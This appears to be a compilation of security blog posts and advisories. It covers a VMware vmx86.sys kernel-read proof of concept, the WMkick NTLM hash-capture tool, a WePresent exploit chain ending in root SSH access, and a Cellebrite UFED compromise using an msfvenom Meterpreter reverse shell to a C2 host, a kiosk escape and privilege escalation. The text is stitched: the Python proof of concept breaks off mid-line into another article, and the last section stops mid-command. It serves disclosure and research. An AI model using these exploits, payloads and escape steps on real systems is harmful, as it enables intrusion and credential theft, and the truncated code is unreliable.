ffff0000 00002000 nt!memcpy+0x33 822e48cc 9357329a 856a9000 00000008 856a9000 vmx86+0xbd6 822e48f8 82c70593 86f0d030 87433540 87433540 vmx86+0x129a 822e4910 82e6499f 871f8b08 87433540 874335b0 nt!IofCallDriver+0x63 822e4930 82e67b71 86f0d030 871f8b08 00000000 nt!IopSynchronousServiceTail+0x1f8 822e49cc 82eae3f4 86f0d030 87433540 00000000 nt!IopXxxControlFile+0x6aa 822e4a00 821210fa 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 822e4b14 82cb7685 00000000 00000000 00000000 nt!KiDeliverApc+0x17f 822e4b58 82cb64f7 00000000 85689a10 80000000 nt!KiSwapThread+0x24e 822e4b80 82cb61d5 85689a10 85689ad0 0000008a nt!KiCommitThreadWait+0x1df 822e4bd8 82e639fd 01b1fd01 00000001 822e4bc8 nt!KeDelayExecutionThread+0x2aa 822e4c24 82c771ea 00000001 01b1ff54 01b1ff78 nt!NtDelayExecution+0x8d 822e4c24 777c70b4 00000001 01b1ff54 01b1ff78 nt!KiFastCallEntry+0x12a 01b1ff0c 777c57d4 75a31876 00000001 01b1ff54 ntdll!KiFastSystemCallRet 01b1ff10 75a31876 00000001 01b1ff54 da57de5e ntdll!NtDelayExecution+0xc 01b1ff78 00401ed6 ffffffff 00000001 01b1ff94 KERNELBASE!SleepEx+0x65 01b1ff94 777e37f5 00000000 762fe46a 00000000 kernel32!BaseThreadInitThunk+0xe 01b1ffd4 777e37c8 00401ec0 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 01b1ffec 00000000 00401ec0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: vmx86+bd6 93572bd6 83c40c add esp,0Ch SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: vmx86+bd6 FOLLOWUP_NAME: MachineOwner MODULE_NAME: vmx86 IMAGE_NAME: vmx86.sys DEBUG_FLR_IMAGE_TIMESTAMP: 539a4f4e FAILURE_BUCKET_ID: 0x50_vmx86+bd6 BUCKET_ID: 0x50_vmx86+bd6 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x50_vmx86+bd6 FAILURE_ID_HASH: {fc58ae86-f23c-59c4-2a6e-428433bd6080} Followup: MachineOwner --------- ``` ```text kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02 04 822e48f8 82c70593 vmx86+0x129a eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0 nv up ei pl nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212 vmx86+0x129a: 9357329a eb63 jmp vmx86+0x12ff (935732ff) Resetting default scope 03 822e48cc 9357329a vmx86+0xbd6 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0 nv up ei pl nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212 vmx86+0xbd6: 93572bd6 83c40c add esp,0Ch Resetting default scope 02 822e4858 93572bd6 nt!memcpy+0x33 eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000 eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212 nt!memcpy+0x33: 82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] ``` By using the provided proof-of-concept code, an attacker can read data from arbitrary kernel memory addresses. As an example, the value of the first entry in `HalDispatchTable` is read. Below is the debugger output, followed by the stdout from the proof-of-concept code. ```text 0:000> g ModLoad: 76170000 7618f000 C:\Windows\system32\IMM32.DLL ModLoad: 77600000 776cc000 C:\Windows\system32\MSCTF.dll ModLoad: 1d1a0000 1d1b8000 C:\Python27\DLLs\_ctypes.pyd ModLoad: 77440000 7759c000 C:\Windows\system32\ole32.dll ModLoad: 75c60000 75cef000 C:\Windows\system32\OLEAUT32.dll ModLoad: 77950000 77955000 C:\Windows\system32\Psapi.DLL ModLoad: 01980000 01d92000 C:\Windows\system32\ntkrnlpa.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll - eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340 eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 778570b4 c3 ret 0:000> db 0x25 L?0x4 00000025 a2 68 04 83 [+] Handle \\.\vmx86 @ 120 [+] HalDispatchTable+0x4(0x82d383fc) == 830468a2 ``` ## Mitigation and Remediation Recommendation A patch is not likely to be forthcoming from the vendor. It is recommended not to allow users access to the **vmware** group unless they are trusted with LocalSystem privileges. ## Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. ## Proof of Concept The code presented below will trigger the issue by forcing memory to be read from a blatantly invalid address of 0xffff0000. ```python #!/usr/bin/python2 # # KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read # Matt Bergin (KoreLogic / Smash the Stack) from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40) buf = pack(' B |SYN A <- B |SYN,ACK A -> B |ACK ``` 2. "Host A" uses DCE/RPC-MSDCOM, requesting to RPC bind and "Host B" replies to accept the request and agree on the syntax. ``` A -> B |DCE/RPC-MSDCOM/DCOM bind A <- B |DCE/RPC-MSDCOM/DCOM bind_ack ``` 3. "IOXIDResolver" is an Interface part of DCOM remote object activation, its identifier is "99fcfec4-5260-101b-bbcb-00aa0021347a". A pentester could use the ServerAlive2 RPC method to collect the network interfaces remotely, which is the current research. The WMI client will not start the NTLMSSP authentication flow if a ServerAlive2 is not returned. ``` A -> B |IOXIDResolver ServerAlive2 A <- B |IOXIDResolver ServerAlive2 ``` 2. Now "Host A" starts an NTLMSSP authentication flow! 1. Second TCP handshake from "Host A" to "Host B" on port 135. ``` A -> B |SYN A <- B |SYN,ACK A -> B |ACK ``` 2. WMI clients (tested on Lansweeper, wmic, Spiceworks) open a second RPC/TCP request and authenticate with NTLM. ``` AUTH_3 NTLMSSP Auth flow start A -> B |NTLM NEG A <- B |NTLM CHALL A -> B |NTLM AUTH ``` This is as much as we care about to get the NTLM. 3. This is where we could research and get into more attacks! ``` A -> B |ISystemActivator (This interface calls RemoteCreateInstance) (ObjReference is "MEOW" lol) A <- B |ISystemActivator (This responds with an IP/hostname and gives an ephemeral port for wmi to use [if we are MitM, it gives the address of our target machine.]) ``` What WMkick does is waits and listens on TCP port 135 for a WMI connection. You configure it to point at a Windows host or VM running an actual MS-RPC endpoint mapper. There are challenges and it can be time consuming to reverse MSRPC, so the quick solution was to redirect traffic to a real implementation. Redirecting the traffic is necessary to capture the entire authentication flow. The use case for this is an attacker, red-teamer, penetration tester could plug into an enterprise network with WMkick running and configured and an inventory management tool or other software or script would sweep over the assigned range of the device, exposing the administrative credentials in the form of the NetNTLMv2 hash. Some Network Access Control (NAC) implementations may reach out to any device as soon as it connects, providing you with a NetNTLMv2 hash right away. Here you can see WMkick in action: This is why password strength remains important. The hash alone is not valuable until cracked. KoreLogic specializes in password cracking (see our [DEF CON contest](https://contest.korelogic.com/) and [Password Recovery Service](/services/password-audits-and-recovery/)), so we like hashes. This is low risk technique to potentially grab an administrative hash. Again, WMkick is not an NTLM relaying tool _yet_. There is similar research being started in this area. ### Other Recent MS-RPC MitM Work Since starting to look at WMI and RPC, both have been getting more scrutiny from the security community (a good thing), but there is plenty more to analyze. Some related work: 1. Compass security has already published some excellent work on [NTLM relaying and the issues with SMB and RPC](https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/). In the article they propose adding more support for the MS-RPC protocol to ntlmrelayx. They mention that integrity requirements have been added by Microsoft for Task Scheduler Service but global integrity requirements for RPC are still missing. They also state: "MS-DCOM is used by MS-WMI and would be a nice attack vector. However, as a typical WMI code execution requires authenticating to several RPC interfaces, it's not the best choice for the NTLM relay attack (without a re-authentication method)." While this is true for relaying, it is fairly trivial with WMkick to get a NetNTLMv2 hash by listening for software to connect to the attacker machine over WMI using MS-RPC TCP/135, as it has been observed that WMI clients will still authenticate to the MS-RPC TCP/135 access port with NTLMSSP. Initially, I thought to create my own RPC server, which is if not difficult, time consuming. A lot of the current work has been on connecting and interacting with RPC/DCOM/DCERPC/MSRPC from a client perspective and less from the server side. 2. A favorite open source network penetration tester tool of mine for stealing network hashes is "[Responder.py](https://github.com/lgandx/Responder)". It attracts various network traffic through poisoning, and functions as a MITM relay in order to steal NetNTLMv2 hashes found in a Windows environment. Once captured, the hashes can then be cracked into useable credentials within the domain. Recently, Responder has begun to add RPC servers, but nothing specific to WMI just yet. In fact the desire to create WMKick came partly inspired by Responder, and spurred by its lack of WMI support. ### Why WMkick; aren't there tools to capture NetNTLMv2 already? - At the time of this writing, Responder did not have a WMI specific RPC server (although it now has RPC servers for other services). - WMkick is opportunistic, if a tool or script is scanning over the IP using WMI over MS-RPC (or WSMAN-HTTP), it will capture the NetNTLMv2 hash. And it may be possible to solicit this traffic with Responder or mitm6. - WMI over MS-RPC will use NTLM even when domain joined and using a domain user. Although other tools exist that capture NetNTLMv2 hashes on the network, they are not monitoring the WMI over MS-RPC tcp/135. Below are some other, existing tools I tried: - [Responder.py](https://github.com/lgandx/Responder) - UDP 137, UDP 138, UDP 53, UDP/TCP 389, TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553. And very recently, some 135. - [PCredz](https://github.com/lgandx/PCredz) - Also by Laurent Gaffie, the author of one of my favorite tools, Responder - [net-creds](https://github.com/DanMcInerney/net-creds) - By Dan McInerney - [some others](https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/) - focus on http, smb, and Responder Not tested yet: - [Inveigh](https://github.com/Kevin-Robertson/Inveigh/wiki) - Captures NTLMv2 Authentication attempts over Windows SMB - [NetNTLMv2-Sniffer](https://github.com/xfox64x/NetNTLMv2-Sniffer) - Specific to SMB2 datagrams Both PCredz and net-creds.py will capture and extract the NetNTLMv2 hash, but only when you can get the entire NTLMSSP authentication flow via redirection with WMkick. ### Issues and next steps My initial expectation was that all WMI traffic goes through TCP port 135. This is not the case. WMI will use MSRPC tcp/135 to authenticate and the endpoint mapper on that port will tell the victim where to go for the WMI service (which host/IP/dynamic-wmi-port). So I was using WMkick to MitM the WMI access port traffic, but after authenticating with the endpoint mapper, the WMI traffic from the victim went _directly_ to the target WMI machine and used SPNEGO to authenticate. As the MitM, it seems possible to splice and replace the WMI host, WMI port, and preferred authentication scheme with some more reverse engineering. Goals for further development are to find or build enough MS-RPC support that we can carry out a conversation long enough to not need to redirect to a real Windows stack, and to explore WinRM more. --- ## WePresent... vulnerabilities! URL: https://korelogic.com/blog/2021/01/05/wepresent-vulnerabilities/ Exploit-chain research showing how unauthenticated vulnerabilities in Barco WePresent WiPG-1600 firmware led to root shell access. Published: 2021-01-05 Author: Jim Becher Category: Vulnerability Research Tags: vulnerability-research, passwords, iot, web-security, networking This blog post describes an exploit chain to go from a completely unauthenticated attacker to a root shell on a Barco WePresent WiPG-1600. The device was running firmware version 2.5.1.8, which was the latest version available at the time this research was performed. Several vulnerabilities were found, and CVEs and fixes for each have since been published. ### CVE-2020-28329 - [Default API credentials](/advisories/KL-001-2020-004/) The first vulnerability is the existence of default, hardcoded credentials that can be used to access an API service listening on port 4001/tcp. The password exists as clear text in /etc/lighthttp/admin and in a hashed form in etc/lighttpd/lighttpd.user. This information was obtained by downloading and unpacking the firmware from WePresent's site. The URL for the firmware is https://www.barco.com/en/support/wepresent-wipg-1600w/drivers. Binwalk, with recursive scanning of extracted files, does partially unpack the firmware. A simple, more elegant approach will be discussed later in this blog post. ### CVE-2020-28330 - [Displaying the Web admin password as clear text in an API response](/advisories/KL-001-2020-005/) An authenticated request to https://IP:4001/w1.0, using the credentials described above, will display the current Web admin password as clear text. An attacker will now have the password for the Web admin user on the device, and can use the web interface to make any configuration changes to the device using the web UI. ### CVE-2020-28333 - [Effectively a Session ID being passed as a URL parameter](/advisories/KL-001-2020-006/) In order to make configuration changes to the device, a random value sent to the web interface client from the device is required to be provided - the "SEID". It seems to be acting like a Session ID in a cookie. However, the "SEID" is passed as a parameter in URLs and in the body of POSTs. Since it is passed as a parameter in the URL, it can be logged by web proxies or browser history. An example is: ``` https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwSystem.html&ertqVvnKV4TjU9Vt ``` Where "ertqVvnKV4TjU9Vt" is the SEID. No session cookie exists, just this value passed on the URL as a parameter, and in the body of POSTs to make configuration changes. A given SEID is tied to the originating IP, has a limited lifetime, and does not persist across reboots of the WePresent. ### CVE-2020-28331 - [Hidden POST options to enable network listeners](/advisories/KL-001-2020-007/) The device does not have a SSH daemon listening by default. The web UI does not appear to have configuration options/settings for enabling the SSH service or configuring system-level accounts on the device. In looking at the unpacked firmware, I could see where a SSH daemon init script exists (/etc/init.d/S41ssh). The init script starts the SSH daemon only if a specific value from the device's configuration is set to "1". Excerpts from the init script: ``` mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE) runprocess() { if [ "$mode" = "1" ]; then echo "dropbear running" /usr/bin/dropbear fi } ``` The AwGetCfg binary reads the /etc/content/AwDefault.xml file, and there is an **RD_DEBUG_MODE** value set in that file. By default **RD_DEBUG_MODE** is set to "0" in the firmware. ``` $ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy ``` While the web pages in the web UI do not have apparent ways to enable SSH, I was able to identify that other configuration settings that appear in the /etc/content/AwDefault.xml file can be modified by the web UI. So, I mimicked a configuration change to a setting from the UI, but changed the value to be changed to set **RD_DEBUG_MODE** to 1. The following was included in a POST to the device: ``` RD_DEBUG_MODE1 ``` Many, if not all, configuration changes to the device require a reboot to take effect. So, another POST has to be sent, using the "SEID" to reboot the device. After the device comes back up, the SSH service is indeed running and accepting connections. ``` $ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE **22/tcp open ssh** 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds ``` In looking at the unpacked firmware, I quickly identified a root hash in the /etc/shadow file on the device. It is the only account in the /etc/shadow. I did not observe where the device prompts the administrator to set a new root password, therefore this password is hardcoded and exists across all devices [(CVE-2020-28334)](/advisories/KL-001-2020-008/). The password hash withstood cracking attempts that ran multiple weeks. Given the length of the password on the default account for the API interface, I anticipate that the password is sufficiently long and complex, and that it would take a very long time for the hash to crack. So, if the hash can't be cracked... can it be replaced? ### CVE-2020-28332 - [Firmware is not signed](/advisories/KL-001-2020-009/) The firmware unpacks partially using binwalk. However, Matt Bergin ([@thatguylevel](https://twitter.com/thatguylevel)) made an observation on how the firmware images are packaged based on one of the scripts in the firmware that processes firmware update files. Using 'dd' and Matt's information, we were able to extract the 4 component files in the firmware. As referenced above, this is our more elegant approach. The four component files are: ``` - a 512 byte header - a cramfs file system - a uBoot image - and a tar.gz'd set of files (where the /etc/shadow file lives) ``` The shell script used to perform the unpacking of the firmware image is very simple: ``` $ cat unpack-firmware.sh #!/bin/sh dd bs=512 if=$1 of=$1.header count=1 dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240 dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144 dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385 ``` Using the script is straightforward: ``` $ ../../unpack-firmware.sh awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad 1+0 records in 1+0 records out 512 bytes copied, 0.000382706 s, 1.3 MB/s 10240+0 records in 10240+0 records out 5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0444339 s, 118 MB/s 6144+0 records in 6144+0 records out 3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0102049 s, 308 MB/s 231542+1 records in 231542+1 records out 118549747 bytes (119 MB, 113 MiB) copied, 0.383279 s, 309 MB/s $ ls -al total 247940 ... 4096 Nov 16 20:36 . ... 4096 Nov 16 20:35 .. ... 126938867 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad ... 5242880 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs ... 118549747 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz ... 512 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header ... 3145728 Nov 16 20:36 awind.WiPG-1600w.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot ``` The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, our focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed. ``` $ hexdump -C header 00000000 61 77 2d 66 68 30 30 33 02 05 01 08 14 14 02 07 |aw-fh003........| (version=2.5.1.8) and date (0x14 = 20; date = 2020/02/07 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |....."..default.| (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the 512 byte header) (0xcfab2208 = sum32 checksum of the firmware without the 512 byte header) 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 ``` Generating our new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, we have to concatenate all parts of the new firmware together _without_ the header file. We then calculate the sum32 checksum on this file. Jacksum was used to identify the hashing algorithm used by the firmware. With the new sum32 checksum and filesize of the tar.gz file, we can modify our new header file to look like: ``` 00000000 61 77 2d 66 68 30 30 33 02 05 01 09 14 14 02 07 |aw-fh003........| 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |_*..9f..default.| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 ``` Now, we can concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the WePresent device. After the firmware update, the device will revert back to the default Web admin password of "admin". The WePwn.py script can be run again to re-enable SSH, and now we can ssh in with our known root password. ### Proof-of-Concept: Assuming the administrator has changed the admin password from the default to the value "W3Pr3s3nt". A python script (WePwn.py) was written to automate several steps in the exploit chain, notably: 1. Use a hard coded account that can only access the API service listening on port 4001/tcp. 2. Issue a request to the API endpoint with the credentials to extract the clear text password currently set for the Web admin account. 3. With the password for the Web admin account, log in and obtain a "SEID", which is a randomly generated value much like a session ID. This session ID is exposed on the URL string when using the web interface. 4. Make a POST including the obtained SEID string, submitting the undocumented configuration setting to enable the SSH service. 5. Once the configuration setting has been changed to enable the SSH service, the "SEID" value is used in a POST to reboot the device. ``` $ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:54 CDT Nmap scan report for 192.168.2.200 Host is up (0.0035s latency). Not shown: 988 closed ports PORT STATE SERVICE 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds $ ./WePwn.py -h 192.168.2.200 [+] Admin password is: W3Pr3s3nt [+] SEID is: PqhXbb4jQ2g8T4ss [+] Enabling SSH Daemon [+] Rebooting device [+] Waiting for 60 seconds while device reboots 10...20...30...40...50...60 $ nmap 192.168.2.200 Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-26 20:57 CDT Nmap scan report for 192.168.2.200 Host is up (0.0037s latency). Not shown: 987 closed ports PORT STATE SERVICE **22/tcp open ssh** 80/tcp open http 389/tcp open ldap 443/tcp open https 515/tcp open printer 1688/tcp open nsjtp-data 3268/tcp open globalcatLDAP 4001/tcp open newoak 5566/tcp open westec-connect 6000/tcp open X11 7000/tcp open afs3-fileserver 7100/tcp open font-service 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds ``` The Web admin password previously discovered is then used to log in to the device and upload custom/modified firmware. In our case, only the hash for the root password in /etc/shadow was altered. Once the new firmware version was uploaded to the device and the SSH service is re-enabled, we are able to SSH in as root with the password hash that we set. ``` $ ssh -p 22 -o PasswordAuthentication=yes root@192.168.2.200 root@192.168.2.200's password: Welcome to AWIND(R) Linux(R) Environment ... # whoami root ``` --- ## Cellebrite Good Times, Come On: Reverse-Engineering Phone Forensics Tools URL: https://korelogic.com/blog/2020/06/29/cellebrite-reverse-engineering-forensics/ How can vulnerabilities in technologies used by our judicial system affect the outcome of cases brought to the courts? Published: 2020-06-29 Author: Matt Bergin Category: Password Security Tags: vulnerability-research, tools, forensics, passwords, iot How can vulnerabilities in technologies used by our judicial system affect the outcome of cases brought to the courts? The Universal Forensic Extraction Device (UFED) device from Cellebrite is used by law enforcement agencies throughout the world. The popularity of their offerings has been well documented by journalists, which is what initially caught my attention. Today I will talk about the process I used to establish a debugging environment and locate issues in their UFED product, which I believe pose a significant concern. This concern demonstrates a need for additional scrutiny of any tool that is designed to acquire digital forensic evidence for use in any court of law. Along the way, we generated multiple advisories and CVEs, which the vendor has addressed, and a bonus "WONTFIX" in Android. For example, using just one of the problems I found, an attacker would be able to impersonate a UFED device. Why is this bad? Simply put, the reports provided by UFED devices are court admissible and jurors place trust in these reports when deliberating about the evidence of an alleged crime. A rogue forensic examiner could misuse UFED tools to place false evidence on a suspect's device, which would then be trusted by the courts unless challenged by a defense versed in software/device forensics. Conversely a tech-savvy criminal could plant data on their device which made it _appear_ to have been tampered with by law enforcement, even when no misuse had occurred. These possibilities concerned me and motivated my research. When we test devices on behalf of a client, our process begins by target devices being provided to us directly, but that was not the case here; this was independent research. Over the course of several months, I acquired several Cellebrite UFED devices through eBay. Each purchase was a more recent version. Earlier versions of software are always less mature, and therefore provide for an easier learning curve while reverse engineering. The versions I was able to obtain ranged from 5.1 through 7.5.0.845. I expected all devices from eBay to have a expired license. This is important because another party will have agreed to any license conditions before my purchases and there are no future prompts to review and accept any terms or conditions. Cellebrite also makes a PC software version, UFED4PC. ## Hacking the UFED Although my lab environment is not internet connected, I still added a DNS block for the following domains I observed in code or log files and an IP block for the addresses which they resolve to: ``` 1. *.cellebriteusa.com 2. *.cellebrite.com 3. *.mycellebrite.com 4. *.ume-update.com 5. *.cellebrite.org ``` When the UFED device is powered on, the user is automatically logged into Windows XP Embedded SP3 without any operating system authentication requirements. The forensic application is launched automatically using the path below: ``` C:\Program Files\Cellebrite Mobile Synchronization\UFEDTouch\Exodus.CellebriteTouch.exe ``` The default user is not privileged, and is restricted through local operating system and firewall policies. For example the user is not able to: - Access default system applications - Manage system configuration settings - Access process and file management settings Even the task manager is disabled: Image Since all of the UFED devices I obtained were running Windows XP, which is no longer supported, they were guaranteed to be exploitable. I began by using msfvenom to create a simple Meterpreter payload that created a reverse TCP connection to a Command and Control (C2) system that we control. Then, I copied the executable to a USB drive and plugged it into the UFED device. ``` $ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes Saved as: payload.exe $ sudo mount -o rw /dev/sda1 a/ $ sudo cp payload.exe a/; sync $ sudo umount a/ ``` At that point, I was able to create a metasploit handler to accept connections and allow me to interact with the compromised UFED device. ``` $ msfconsole [snip] msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST [REDACTED] yes The listen address (an interface may be specified) LPORT 8888 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on [REDACTED]:8888 ``` Because of the local policies that were implemented, I needed a way to trick the device into running our executable. This turned out to be possible using tricks I would typically use when attempting to escape from a Citrix Application. The steps taken were as follows: - Open the Wireless Network Connection screen by clicking on the WiFi icon in the bottom right hand corner of the screen. This should be next to the system clock. - Select "Change advanced settings" - this will bring up a screen called Windows Network Connection Properties. Choose the Wireless Networks tab. - Under the Preferred networks section, click the Add button and then select the Authentication tab. Make sure "Enable IEEE 802.1x authentication for this network" is enabled. - Under EAP Type, select "Smart Card or other Certificate" and then click the Properties button. - Under Trusted Root Certificate Authorities click the View Certificate button. This will bring up a screen called Certificate; choose the Details tab and click the "Copy to File" button. This will bring up a screen called Certificate Export Wizard. - Click Next and select any of the available export format options. For example, choose the "DER encoded binary X.509" option and click next. - Instead of typing out a export path click the Browser button to open a file dialog. In the "File Name" box type: \WINDOWS\System32\ and under "Save as type" select the "All Files (_._)" option. Hit the enter key. - Locate the cmd.exe file then drag and drop any Dynamic-Link Library (DLL) over it. For example, choose the clusapi.dll file located near the cmd.exe executable. This will open a Command Prompt screen as an unprivileged user. - Type the drive letter to change into the USB drive containing the payload.exe file. - Execute payload.exe Once the payload was running and a connection to my handler was established, I could then begin interacting with the UFED device. ``` [*] Sending stage (180291 bytes) to [REDACTED] [*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800 msf5 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: TOUCH-[REDACTED]\Operator ``` After some experimentation, I found that the UFED device is vulnerable to CVE-2015-1701, which can be used to elevate to SYSTEM as shown below. ``` msf5 exploit(windows/local/ms15_051_client_copy_image) > show options Module options (exploit/windows/local/ms15_051_client_copy_image): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Windows x86 msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD 